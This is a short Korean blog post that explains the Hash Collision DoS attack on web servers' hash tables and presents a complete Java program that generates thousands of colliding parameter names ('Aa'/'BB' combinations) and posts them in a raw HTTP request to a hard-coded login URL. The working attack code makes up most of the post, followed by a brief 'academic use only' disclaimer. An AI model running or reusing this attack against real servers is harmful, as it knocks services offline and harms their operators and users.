Hash Collision Dos 코드

최근에 웹 보안을 보고 최근에 본 기사: Hash Collision Dos 질문.
원리는 간단하다. 기존 언어 서버의hashcode를 이용하여 결함을 실현하고 대량의hashcode와 같은 문자열을 구성하여post의 매개 변수를 만들어 서버가hashmap을 만들고 조회하느라 바쁘게 하고 서버에서 서비스를 거부한다.상세한 묘사는 위의 그 문장을 볼 수 있다.
나는 공격의 예 코드를 써 보았다.
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;

public class HashCollisionDosAttack {
	private final String[] srcs= {"Aa", "BB"};

	private List<String> getStrings(int n) {
		List<String> strlist = new ArrayList<String>();

		int round = (int) Math.pow(2, n);
		for (int i = 0; i < round; ++i) {
			strlist.add(getString(i, n));
		}
		return strlist;
	}

	private String getString(int index, int n) {
		String str = "";
		int[] bytes = getBytesOf(index, n);
		for (int i = 0; i < bytes.length; ++i) {
			str += srcs[bytes[i]];
		}
		return str;
	}

	private int[] getBytesOf(int index, int n) {
		int[] bytes = new int[n];
		for (int i = 0; i < n; ++i) {
			bytes[n - i - 1] = 1 & (index >> i);
		}
		return bytes;
	}

	private void post(URL url, String params) {
		Socket socket = null;
		BufferedWriter bw = null;
		BufferedReader br= null;
		try {
			socket = new Socket(url.getHost(), url.getPort());
			bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
			bw.write("POST " + url.getPath() + " HTTP/1.1\r
"); bw.write("Host: " + url.getHost() + "\r
"); bw.write("Content-Type: application/x-www-form-urlencoded\r
"); bw.write("Content-Length: " + params.length() + "\r
"); bw.write("Connection: Keep-Alive\r
"); bw.write("\r
"); bw.write(params); bw.flush(); // br = new BufferedReader(new InputStreamReader(socket.getInputStream(),"UTF-8")); // String line; // while ((line = br.readLine()) != null) { // System.out.println(line); // } // System.out.println(params); } catch (Exception e) { e.printStackTrace(); } finally { if (null != socket) { try { socket.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != bw) { try { bw.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } } } public void attack(String urlStr, int n) throws MalformedURLException { String params = ""; for (int i = 1; i <= n; ++i) { params += buildParams(getStrings(i)); } URL url = new URL(urlStr); post(url, params); } private String buildParams(List<String> strings) { String params = ""; for (String str : strings) { params += str + "=x&"; params.hashCode(); } return params; } public static void main(String[] args) throws MalformedURLException { HashCollisionDosAttack attack = new HashCollisionDosAttack(); attack.attack("http://frigile.com/login/login.htm", 15); } }

학술 교류만 할 뿐 불법 목적에 쓰지 마십시오.

좋은 웹페이지 즐겨찾기